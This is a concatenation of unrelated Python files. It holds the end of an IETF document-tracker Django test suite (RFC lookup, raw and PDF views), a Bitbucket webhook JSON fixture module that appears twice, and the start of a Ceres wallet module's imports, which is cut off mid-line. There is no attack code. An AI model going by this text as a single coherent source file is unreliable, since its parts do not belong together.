self.getJson(dict(name=draft.name, rev='01')) self.assertEqual( received, dict( content_url=draft.history_set.get(rev='01').get_href(), name=draft.name, rev='01', previous=f'{draft.name}-00', ), 'RFC by draft name with rev should give draft name, not canonical name' ) def test_rfc(self): # simple draft name self.do_rfc_test(draft_name='draft-test-ar-ef-see') # tricky draft names self.do_rfc_test(draft_name='draft-whatever-02') self.do_rfc_test(draft_name='draft-test-me-03-04') def test_rfc_with_tombstone(self): draft = WgDraftFactory(create_revisions=range(0,2)) draft.docalias.create(name='rfc3261') # See views_doc.HAS_TOMBSTONE draft.set_state(State.objects.get(type_id='draft',slug='rfc')) draft.set_state(State.objects.get(type_id='draft-iesg', slug='pub')) draft = reload_db_objects(draft) rfc = draft # Some old rfcs had tombstones that shouldn't be used for comparisons received = self.getJson(dict(name=rfc.canonical_name())) self.assertTrue(received['previous'].endswith('00')) def do_rfc_with_broken_history_test(self, draft_name): draft = WgDraftFactory(rev='10', name=draft_name) draft.docalias.create(name=f'rfc{self.next_rfc_number():04}') draft.set_state(State.objects.get(type_id='draft',slug='rfc')) draft.set_state(State.objects.get(type_id='draft-iesg', slug='pub')) draft = reload_db_objects(draft) rfc = draft received = self.getJson(dict(name=draft.name)) self.assertEqual( received, dict( content_url=rfc.get_href(), name=rfc.canonical_name(), previous=f'{draft.name}-10', ), 'RFC by draft name without rev should return canonical RFC name and no rev', ) received = self.getJson(dict(name=draft.name, rev='10')) self.assertEqual(received['name'], draft.name, 'RFC by draft name with rev should return draft name') self.assertEqual(received['rev'], '10', 'Requested rev should be returned') self.assertEqual(received['previous'], f'{draft.name}-09', 'Previous rev is one less than requested') self.assertIn(f'{draft.name}-10', received['content_url'], 'Returned URL should include requested rev') self.assertNotIn('warning', received, 'No warning when we have the rev requested') received = self.getJson(dict(name=f'{draft.name}-09')) self.assertEqual(received['name'], draft.name, 'RFC by draft name with rev should return draft name') self.assertEqual(received['rev'], '09', 'Requested rev should be returned') self.assertEqual(received['previous'], f'{draft.name}-08', 'Previous rev is one less than requested') self.assertIn(f'{draft.name}-09', received['content_url'], 'Returned URL should include requested rev') self.assertEqual( received['warning'], 'History for this version not found - these results are speculation', 'Warning should be issued when requested rev is not found' ) def test_rfc_with_broken_history(self): # simple draft name self.do_rfc_with_broken_history_test(draft_name='draft-some-draft') # tricky draft names self.do_rfc_with_broken_history_test(draft_name='draft-gizmo-01') self.do_rfc_with_broken_history_test(draft_name='draft-oh-boy-what-a-draft-02-03') class RawIdTests(TestCase): def __init__(self, *args, **kwargs): self.view = "ietf.doc.views_doc.document_raw_id" self.mimetypes = {'txt':'text/plain','html':'text/html','xml':'application/xml'} super(self.__class__, self).__init__(*args, **kwargs) def should_succeed(self, argdict): url = urlreverse(self.view, kwargs=argdict) r = self.client.get(url, skip_verify=True) # do not verify HTML, they're faked anyway self.assertEqual(r.status_code,200) self.assertEqual(r.get('Content-Type'),f"{self.mimetypes[argdict.get('ext','txt')]};charset=utf-8") def should_404(self, argdict): url = urlreverse(self.view, kwargs=argdict) r = self.client.get(url) self.assertEqual(r.status_code, 404) def test_raw_id(self): draft = WgDraftFactory(create_revisions=range(0,2)) dir = settings.INTERNET_ALL_DRAFTS_ARCHIVE_DIR for r in range(0,2): rev = f'{r:02d}' (Path(dir) / f'{draft.name}-{rev}.txt').touch() if r == 1: (Path(dir) / f'{draft.name}-{rev}.html').touch() (Path(dir) / f'{draft.name}-{rev}.xml').touch() self.should_succeed(dict(name=draft.name)) for ext in ('txt', 'html', 'xml'): self.should_succeed(dict(name=draft.name, ext=ext)) self.should_succeed(dict(name=draft.name, rev='01', ext=ext)) self.should_404(dict(name=draft.name, ext='pdf')) self.should_succeed(dict(name=draft.name, rev='00')) self.should_succeed(dict(name=draft.name, rev='00',ext='txt')) self.should_404(dict(name=draft.name, rev='00',ext='html')) def test_raw_id_rfc(self): rfc = WgRfcFactory() dir = settings.INTERNET_ALL_DRAFTS_ARCHIVE_DIR (Path(dir) / f'{rfc.name}-{rfc.rev}.txt').touch() self.should_succeed(dict(name=rfc.name)) self.should_404(dict(name=rfc.canonical_name())) def test_non_draft(self): charter = CharterFactory() self.should_404(dict(name=charter.name)) class PdfizedTests(TestCase): def __init__(self, *args, **kwargs): self.view = "ietf.doc.views_doc.document_pdfized" super(self.__class__, self).__init__(*args, **kwargs) def should_succeed(self, argdict): url = urlreverse(self.view, kwargs=argdict) r = self.client.get(url) self.assertEqual(r.status_code,200) self.assertEqual(r.get('Content-Type'),'application/pdf;charset=utf-8') def should_404(self, argdict): url = urlreverse(self.view, kwargs=argdict) r = self.client.get(url) self.assertEqual(r.status_code, 404) def test_pdfized(self): rfc = WgRfcFactory(create_revisions=range(0,2)) dir = settings.RFC_PATH with (Path(dir) / f'{rfc.canonical_name()}.txt').open('w') as f: f.write('text content') dir = settings.INTERNET_ALL_DRAFTS_ARCHIVE_DIR for r in range(0,2): with (Path(dir) / f'{rfc.name}-{r:02d}.txt').open('w') as f: f.write('text content') self.should_succeed(dict(name=rfc.canonical_name())) self.should_succeed(dict(name=rfc.name)) for r in range(0,2): self.should_succeed(dict(name=rfc.name,rev=f'{r:02d}')) for ext in ('pdf','txt','html','anythingatall'): self.should_succeed(dict(name=rfc.name,rev=f'{r:02d}',ext=ext)) self.should_404(dict(name=rfc.name,rev='02'))
# -*- coding: utf-8 -*- from __future__ import absolute_import PUSH_EVENT_EXAMPLE = b"""{ "push": { "changes": [ { "links": { "html": { "href": "https://bitbucket.org/maxbittker/newsdiffs/branches/compare/e0e377d186e4f0e937bdb487a23384fe002df649..8f5952f4dcffd7b311181d48eb0394b0cca21410" }, "commits": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commits?include=e0e377d186e4f0e937bdb487a23384fe002df649&exclude=8f5952f4dcffd7b311181d48eb0394b0cca21410" }, "diff": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/diff/e0e377d186e4f0e937bdb487a23384fe002df649..8f5952f4dcffd7b311181d48eb0394b0cca21410" } }, "commits": [ { "links": { "approve": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e0e377d186e4f0e937bdb487a23384fe002df649/approve" }, "statuses": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e0e377d186e4f0e937bdb487a23384fe002df649/statuses" }, "comments": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e0e377d186e4f0e937bdb487a23384fe002df649/comments" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e0e377d186e4f0e937bdb487a23384fe002df649" }, "patch": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/patch/e0e377d186e4f0e937bdb487a23384fe002df649" }, "html": { "href": "https://bitbucket.org/maxbittker/newsdiffs/commits/e0e377d186e4f0e937bdb487a23384fe002df649" }, "diff": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/diff/e0e377d186e4f0e937bdb487a23384fe002df649" } }, "date": "2017-05-24T01:05:47+00:00", "hash": "e0e377d186e4f0e937bdb487a23384fe002df649", "parents": [ { "type": "commit", "links": { "html": { "href": "https://bitbucket.org/maxbittker/newsdiffs/commits/8f5952f4dcffd7b311181d48eb0394b0cca21410" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/8f5952f4dcffd7b311181d48eb0394b0cca21410" } }, "hash": "8f5952f4dcffd7b311181d48eb0394b0cca21410" } ], "type": "commit", "message": "README.md edited online with Bitbucket", "author": { "type": "author", "user": { "type": "user", "display_name": "Max Bittker", "uuid": "{b128e0f6-196a-4dde-b72d-f42abc6dc239}", "username": "maxbittker", "links": { "html": { "href": "https://bitbucket.org/maxbittker/" }, "avatar": { "href": "https://bitbucket.org/account/maxbittker/avatar/32/" }, "self": { "href": "https://api.bitbucket.org/2.0/users/maxbittker" } } }, "raw": "Max Bittker <max@getsentry.com>" } } ], "old": { "type": "branch", "links": { "html": { "href": "https://bitbucket.org/maxbittker/newsdiffs/branch/master" }, "commits": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commits/master" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/refs/branches/master" } }, "target": { "links": { "html": { "href": "https://bitbucket.org/maxbittker/newsdiffs/commits/8f5952f4dcffd7b311181d48eb0394b0cca21410" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/8f5952f4dcffd7b311181d48eb0394b0cca21410" } }, "date": "2017-05-19T22:53:22+00:00", "hash": "8f5952f4dcffd7b311181d48eb0394b0cca21410", "parents": [ { "type": "commit", "links": { "html": { "href": "https://bitbucket.org/maxbittker/newsdiffs/commits/1cdfa36e62e615cdc73a1d5fcff1c706965b186d" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/1cdfa36e62e615cdc73a1d5fcff1c706965b186d" } }, "hash": "1cdfa36e62e615cdc73a1d5fcff1c706965b186d" } ], "type": "commit", "message": "README.md edited online with Bitbucket", "author": { "type": "author", "raw": "Max Bittker <max@getsentry.com>" } }, "name": "master" }, "truncated": false, "new": { "type": "branch", "links": { "html": { "href": "https://bitbucket.org/maxbittker/newsdiffs/branch/master" }, "commits": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commits/master" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/refs/branches/master" } }, "target": { "links": { "html": { "href": "https://bitbucket.org/maxbittker/newsdiffs/commits/e0e377d186e4f0e937bdb487a23384fe002df649" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e0e377d186e4f0e937bdb487a23384fe002df649" } }, "date": "2017-05-24T01:05:47+00:00", "hash": "e0e377d186e4f0e937bdb487a23384fe002df649", "parents": [ { "type": "commit", "links": { "html": { "href": "https://bitbucket.org/maxbittker/newsdiffs/commits/8f5952f4dcffd7b311181d48eb0394b0cca21410" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/8f5952f4dcffd7b311181d48eb0394b0cca21410" } }, "hash": "8f5952f4dcffd7b311181d48eb0394b0cca21410" } ], "type": "commit", "message": "README.md edited online with Bitbucket", "author": { "type": "author", "raw": "Max Bittker <max@getsentry.com>" } }, "name": "master" }, "created": false, "forced": false, "closed": false } ] }, "repository": { "links": { "html": { "href": "https://bitbucket.org/maxbittker/newsdiffs" }, "avatar": { "href": "https://bitbucket.org/maxbittker/newsdiffs/avatar/32/" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs" } }, "full_name": "maxbittker/newsdiffs", "scm": "git", "uuid": "{c78dfb25-7882-4550-97b1-4e0d38f32859}", "type": "repository", "is_private": false, "owner": { "type": "user", "display_name": "Max Bittker", "uuid": "{b128e0f6-196a-4dde-b72d-f42abc6dc239}", "username": "maxbittker", "links": { "html": { "href": "https://bitbucket.org/maxbittker/" }, "avatar": { "href": "https://bitbucket.org/account/maxbittker/avatar/32/" }, "self": { "href": "https://api.bitbucket.org/2.0/users/maxbittker" } } }, "name": "newsdiffs", "website": "" }, "actor": { "type": "user", "display_name": "Max Bittker", "uuid": "{b128e0f6-196a-4dde-b72d-f42abc6dc239}", "username": "maxbittker", "links": { "html": { "href": "https://bitbucket.org/maxbittker/" }, "avatar": { "href": "https://bitbucket.org/account/maxbittker/avatar/32/" }, "self": { "href": "https://api.bitbucket.org/2.0/users/maxbittker" } } } } """ COMPARE_COMMITS_EXAMPLE = b"""{ "pagelen": 30, "values": [{"hash": "e18e4e72de0d824edfbe0d73efe34cbd0d01d301", "repository": {"links": {"self": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs"}, "html": {"href": "https://bitbucket.org/maxbittker/newsdiffs"}, "avatar": {"href": "https://bitbucket.org/maxbittker/newsdiffs/avatar/32/"}}, "type": "repository", "name": "newsdiffs", "full_name": "maxbittker/newsdiffs", "uuid": "{c78dfb25-7882-4550-97b1-4e0d38f32859}"}, "links": {"self": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e18e4e72de0d824edfbe0d73efe34cbd0d01d301"}, "comments": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e18e4e72de0d824edfbe0d73efe34cbd0d01d301/comments"}, "patch": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/patch/e18e4e72de0d824edfbe0d73efe34cbd0d01d301"}, "html": {"href": "https://bitbucket.org/maxbittker/newsdiffs/commits/e18e4e72de0d824edfbe0d73efe34cbd0d01d301"}, "diff": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/diff/e18e4e72de0d824edfbe0d73efe34cbd0d01d301"}, "approve": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e18e4e72de0d824edfbe0d73efe34cbd0d01d301/approve"}, "statuses": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e18e4e72de0d824edfbe0d73efe34cbd0d01d301/statuses"}}, "author": { "raw": "Max Bittker <max@getsentry.com>", "type": "author" }, "parents": [{"hash": "26de9b63d09aa9c787e899f149c672023e292925", "type": "commit", "links": {"self": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/26de9b63d09aa9c787e899f149c672023e292925"}, "html": {"href": "https://bitbucket.org/maxbittker/newsdiffs/commits/26de9b63d09aa9c787e899f149c672023e292925"}}}], "date": "2017-05-16T23:21:40+00:00", "message": "README.md edited online with Bitbucket", "type": "commit"}], "next": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commits/e18e4e72de0d824edfbe0d73efe34cbd0d01d301?page=2" } """ GET_LAST_COMMITS_EXAMPLE = b"""{ "pagelen": 30, "values": [{"hash": "e18e4e72de0d824edfbe0d73efe34cbd0d01d301", "repository": {"links": {"self": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs"}, "html": {"href": "https://bitbucket.org/maxbittker/newsdiffs"}, "avatar": {"href": "https://bitbucket.org/maxbittker/newsdiffs/avatar/32/"}}, "type": "repository", "name": "newsdiffs", "full_name": "maxbittker/newsdiffs", "uuid": "{c78dfb25-7882-4550-97b1-4e0d38f32859}"}, "links": {"self": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e18e4e72de0d824edfbe0d73efe34cbd0d01d301"}, "comments": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e18e4e72de0d824edfbe0d73efe34cbd0d01d301/comments"}, "patch": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/patch/e18e4e72de0d824edfbe0d73efe34cbd0d01d301"}, "html": {"href": "https://bitbucket.org/maxbittker/newsdiffs/commits/e18e4e72de0d824edfbe0d73efe34cbd0d01d301"}, "diff": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/diff/e18e4e72de0d824edfbe0d73efe34cbd0d01d301"}, "approve": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e18e4e72de0d824edfbe0d73efe34cbd0d01d301/approve"}, "statuses": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e18e4e72de0d824edfbe0d73efe34cbd0d01d301/statuses"}}, "author": {"raw": "Max Bittker <max@getsentry.com>", "type": "author", "user": {"username": "maxbittker", "display_name": "Max Bittker", "type": "user", "uuid": "{b128e0f6-196a-4dde-b72d-f42abc6dc239}", "links": {"self": {"href": "https://api.bitbucket.org/2.0/users/maxbittker"}, "html": {"href": "https://bitbucket.org/maxbittker/"}, "avatar": {"href": "https://bitbucket.org/account/maxbittker/avatar/32/"}}}}, "parents": [{"hash": "26de9b63d09aa9c787e899f149c672023e292925", "type": "commit", "links": {"self": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/26de9b63d09aa9c787e899f149c672023e292925"}, "html": {"href": "https://bitbucket.org/maxbittker/newsdiffs/commits/26de9b63d09aa9c787e899f149c672023e292925"}}}], "date": "2017-05-16T23:21:40+00:00", "message": "README.md edited online with Bitbucket", "type": "commit"}], "next": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commits/e18e4e72de0d824edfbe0d73efe34cbd0d01d301?page=2" } """ COMMIT_DIFF_PATCH = b"""diff --git a/README.md b/README.md index 89821ce..9e09a8a 100644 --- a/README.md +++ b/README.md @@ -1 +1 @@ -A twitter bot to when words are said by the NYT for the first time. \\ No newline at end of file +A twitter bot to when words are said by the NYT for the first time.sdfsdf \\ No newline at end of file"""
# -*- coding: utf-8 -*- from __future__ import absolute_import PUSH_EVENT_EXAMPLE = b"""{ "push": { "changes": [ { "links": { "html": { "href": "https://bitbucket.org/maxbittker/newsdiffs/branches/compare/e0e377d186e4f0e937bdb487a23384fe002df649..8f5952f4dcffd7b311181d48eb0394b0cca21410" }, "commits": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commits?include=e0e377d186e4f0e937bdb487a23384fe002df649&exclude=8f5952f4dcffd7b311181d48eb0394b0cca21410" }, "diff": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/diff/e0e377d186e4f0e937bdb487a23384fe002df649..8f5952f4dcffd7b311181d48eb0394b0cca21410" } }, "commits": [ { "links": { "approve": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e0e377d186e4f0e937bdb487a23384fe002df649/approve" }, "statuses": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e0e377d186e4f0e937bdb487a23384fe002df649/statuses" }, "comments": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e0e377d186e4f0e937bdb487a23384fe002df649/comments" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e0e377d186e4f0e937bdb487a23384fe002df649" }, "patch": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/patch/e0e377d186e4f0e937bdb487a23384fe002df649" }, "html": { "href": "https://bitbucket.org/maxbittker/newsdiffs/commits/e0e377d186e4f0e937bdb487a23384fe002df649" }, "diff": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/diff/e0e377d186e4f0e937bdb487a23384fe002df649" } }, "date": "2017-05-24T01:05:47+00:00", "hash": "e0e377d186e4f0e937bdb487a23384fe002df649", "parents": [ { "type": "commit", "links": { "html": { "href": "https://bitbucket.org/maxbittker/newsdiffs/commits/8f5952f4dcffd7b311181d48eb0394b0cca21410" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/8f5952f4dcffd7b311181d48eb0394b0cca21410" } }, "hash": "8f5952f4dcffd7b311181d48eb0394b0cca21410" } ], "type": "commit", "message": "README.md edited online with Bitbucket", "author": { "type": "author", "user": { "type": "user", "display_name": "Max Bittker", "uuid": "{b128e0f6-196a-4dde-b72d-f42abc6dc239}", "username": "maxbittker", "links": { "html": { "href": "https://bitbucket.org/maxbittker/" }, "avatar": { "href": "https://bitbucket.org/account/maxbittker/avatar/32/" }, "self": { "href": "https://api.bitbucket.org/2.0/users/maxbittker" } } }, "raw": "Max Bittker <max@getsentry.com>" } } ], "old": { "type": "branch", "links": { "html": { "href": "https://bitbucket.org/maxbittker/newsdiffs/branch/master" }, "commits": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commits/master" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/refs/branches/master" } }, "target": { "links": { "html": { "href": "https://bitbucket.org/maxbittker/newsdiffs/commits/8f5952f4dcffd7b311181d48eb0394b0cca21410" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/8f5952f4dcffd7b311181d48eb0394b0cca21410" } }, "date": "2017-05-19T22:53:22+00:00", "hash": "8f5952f4dcffd7b311181d48eb0394b0cca21410", "parents": [ { "type": "commit", "links": { "html": { "href": "https://bitbucket.org/maxbittker/newsdiffs/commits/1cdfa36e62e615cdc73a1d5fcff1c706965b186d" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/1cdfa36e62e615cdc73a1d5fcff1c706965b186d" } }, "hash": "1cdfa36e62e615cdc73a1d5fcff1c706965b186d" } ], "type": "commit", "message": "README.md edited online with Bitbucket", "author": { "type": "author", "raw": "Max Bittker <max@getsentry.com>" } }, "name": "master" }, "truncated": false, "new": { "type": "branch", "links": { "html": { "href": "https://bitbucket.org/maxbittker/newsdiffs/branch/master" }, "commits": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commits/master" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/refs/branches/master" } }, "target": { "links": { "html": { "href": "https://bitbucket.org/maxbittker/newsdiffs/commits/e0e377d186e4f0e937bdb487a23384fe002df649" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e0e377d186e4f0e937bdb487a23384fe002df649" } }, "date": "2017-05-24T01:05:47+00:00", "hash": "e0e377d186e4f0e937bdb487a23384fe002df649", "parents": [ { "type": "commit", "links": { "html": { "href": "https://bitbucket.org/maxbittker/newsdiffs/commits/8f5952f4dcffd7b311181d48eb0394b0cca21410" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/8f5952f4dcffd7b311181d48eb0394b0cca21410" } }, "hash": "8f5952f4dcffd7b311181d48eb0394b0cca21410" } ], "type": "commit", "message": "README.md edited online with Bitbucket", "author": { "type": "author", "raw": "Max Bittker <max@getsentry.com>" } }, "name": "master" }, "created": false, "forced": false, "closed": false } ] }, "repository": { "links": { "html": { "href": "https://bitbucket.org/maxbittker/newsdiffs" }, "avatar": { "href": "https://bitbucket.org/maxbittker/newsdiffs/avatar/32/" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs" } }, "full_name": "maxbittker/newsdiffs", "scm": "git", "uuid": "{c78dfb25-7882-4550-97b1-4e0d38f32859}", "type": "repository", "is_private": false, "owner": { "type": "user", "display_name": "Max Bittker", "uuid": "{b128e0f6-196a-4dde-b72d-f42abc6dc239}", "username": "maxbittker", "links": { "html": { "href": "https://bitbucket.org/maxbittker/" }, "avatar": { "href": "https://bitbucket.org/account/maxbittker/avatar/32/" }, "self": { "href": "https://api.bitbucket.org/2.0/users/maxbittker" } } }, "name": "newsdiffs", "website": "" }, "actor": { "type": "user", "display_name": "Max Bittker", "uuid": "{b128e0f6-196a-4dde-b72d-f42abc6dc239}", "username": "maxbittker", "links": { "html": { "href": "https://bitbucket.org/maxbittker/" }, "avatar": { "href": "https://bitbucket.org/account/maxbittker/avatar/32/" }, "self": { "href": "https://api.bitbucket.org/2.0/users/maxbittker" } } } } """ COMPARE_COMMITS_EXAMPLE = b"""{ "pagelen": 30, "values": [{"hash": "e18e4e72de0d824edfbe0d73efe34cbd0d01d301", "repository": {"links": {"self": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs"}, "html": {"href": "https://bitbucket.org/maxbittker/newsdiffs"}, "avatar": {"href": "https://bitbucket.org/maxbittker/newsdiffs/avatar/32/"}}, "type": "repository", "name": "newsdiffs", "full_name": "maxbittker/newsdiffs", "uuid": "{c78dfb25-7882-4550-97b1-4e0d38f32859}"}, "links": {"self": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e18e4e72de0d824edfbe0d73efe34cbd0d01d301"}, "comments": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e18e4e72de0d824edfbe0d73efe34cbd0d01d301/comments"}, "patch": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/patch/e18e4e72de0d824edfbe0d73efe34cbd0d01d301"}, "html": {"href": "https://bitbucket.org/maxbittker/newsdiffs/commits/e18e4e72de0d824edfbe0d73efe34cbd0d01d301"}, "diff": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/diff/e18e4e72de0d824edfbe0d73efe34cbd0d01d301"}, "approve": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e18e4e72de0d824edfbe0d73efe34cbd0d01d301/approve"}, "statuses": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e18e4e72de0d824edfbe0d73efe34cbd0d01d301/statuses"}}, "author": { "raw": "Max Bittker <max@getsentry.com>", "type": "author" }, "parents": [{"hash": "26de9b63d09aa9c787e899f149c672023e292925", "type": "commit", "links": {"self": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/26de9b63d09aa9c787e899f149c672023e292925"}, "html": {"href": "https://bitbucket.org/maxbittker/newsdiffs/commits/26de9b63d09aa9c787e899f149c672023e292925"}}}], "date": "2017-05-16T23:21:40+00:00", "message": "README.md edited online with Bitbucket", "type": "commit"}], "next": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commits/e18e4e72de0d824edfbe0d73efe34cbd0d01d301?page=2" } """ GET_LAST_COMMITS_EXAMPLE = b"""{ "pagelen": 30, "values": [{"hash": "e18e4e72de0d824edfbe0d73efe34cbd0d01d301", "repository": {"links": {"self": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs"}, "html": {"href": "https://bitbucket.org/maxbittker/newsdiffs"}, "avatar": {"href": "https://bitbucket.org/maxbittker/newsdiffs/avatar/32/"}}, "type": "repository", "name": "newsdiffs", "full_name": "maxbittker/newsdiffs", "uuid": "{c78dfb25-7882-4550-97b1-4e0d38f32859}"}, "links": {"self": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e18e4e72de0d824edfbe0d73efe34cbd0d01d301"}, "comments": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e18e4e72de0d824edfbe0d73efe34cbd0d01d301/comments"}, "patch": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/patch/e18e4e72de0d824edfbe0d73efe34cbd0d01d301"}, "html": {"href": "https://bitbucket.org/maxbittker/newsdiffs/commits/e18e4e72de0d824edfbe0d73efe34cbd0d01d301"}, "diff": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/diff/e18e4e72de0d824edfbe0d73efe34cbd0d01d301"}, "approve": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e18e4e72de0d824edfbe0d73efe34cbd0d01d301/approve"}, "statuses": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/e18e4e72de0d824edfbe0d73efe34cbd0d01d301/statuses"}}, "author": {"raw": "Max Bittker <max@getsentry.com>", "type": "author", "user": {"username": "maxbittker", "display_name": "Max Bittker", "type": "user", "uuid": "{b128e0f6-196a-4dde-b72d-f42abc6dc239}", "links": {"self": {"href": "https://api.bitbucket.org/2.0/users/maxbittker"}, "html": {"href": "https://bitbucket.org/maxbittker/"}, "avatar": {"href": "https://bitbucket.org/account/maxbittker/avatar/32/"}}}}, "parents": [{"hash": "26de9b63d09aa9c787e899f149c672023e292925", "type": "commit", "links": {"self": {"href": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commit/26de9b63d09aa9c787e899f149c672023e292925"}, "html": {"href": "https://bitbucket.org/maxbittker/newsdiffs/commits/26de9b63d09aa9c787e899f149c672023e292925"}}}], "date": "2017-05-16T23:21:40+00:00", "message": "README.md edited online with Bitbucket", "type": "commit"}], "next": "https://api.bitbucket.org/2.0/repositories/maxbittker/newsdiffs/commits/e18e4e72de0d824edfbe0d73efe34cbd0d01d301?page=2" } """ COMMIT_DIFF_PATCH = b"""diff --git a/README.md b/README.md index 89821ce..9e09a8a 100644 --- a/README.md +++ b/README.md @@ -1 +1 @@ -A twitter bot to when words are said by the NYT for the first time. \\ No newline at end of file +A twitter bot to when words are said by the NYT for the first time.sdfsdf \\ No newline at end of file"""
import asyncio import logging import time from pathlib import Path from typing import Callable, Dict, List, Optional, Tuple from blspy import PrivateKey, G1Element from ceres.consensus.block_rewards import calculate_base_farmer_reward from ceres.pools.pool_wallet import PoolWallet from ceres.pools.pool_wallet_info import create_pool_state, FARMING_TO_POOL, PoolWalletInfo, PoolState from ceres.protocols.protocol_message_types import ProtocolMessageTypes from ceres.server.outbound_message import NodeType, make_msg from ceres.simulator.simulator_protocol import FarmNewBlockProtocol from ceres.types.blockchain_format.coin import Coin from ceres.types.blockchain_format.sized_bytes import bytes32 from ceres.util.bech32m import decode_puzzle_hash, encode_puzzle_hash from ceres.util.byte_types import hexstr_to_bytes from ceres.util.ints import uint32, uint64 from ceres.util.keychain import KeyringIsLocked, bytes_to_mnemonic, generate_mnemonic from ceres.util.path import path_from_root from ceres.util.ws_message import WsRpcMessage, create_payload_dict from ceres.wallet.cc_wallet.cc_wallet import CCWallet from ceres.wallet.derive_keys import master_sk_to_singleton_owner_sk from ceres.wallet.rl_wallet.rl_wallet import RLWallet from ceres.wallet.derive_keys import master_sk_to_farmer_sk, master_sk_to_pool_sk, master_sk_to_wallet_sk from ceres.wallet.did_wallet.did_wallet import DIDWallet from ceres.wallet.trade_record import TradeRecord from ceres.wallet.transaction_record import TransactionRecord from ceres.wallet.util.backup_utils import download_backup, get_backup_info, upload_backup from ceres.wallet.util.trade_utils import trade_record_to_dict from ceres.wallet.util.transaction_type import TransactionType from ceres.wallet.util.wallet_types import WalletType from ceres.wallet.wallet_info import WalletInfo from 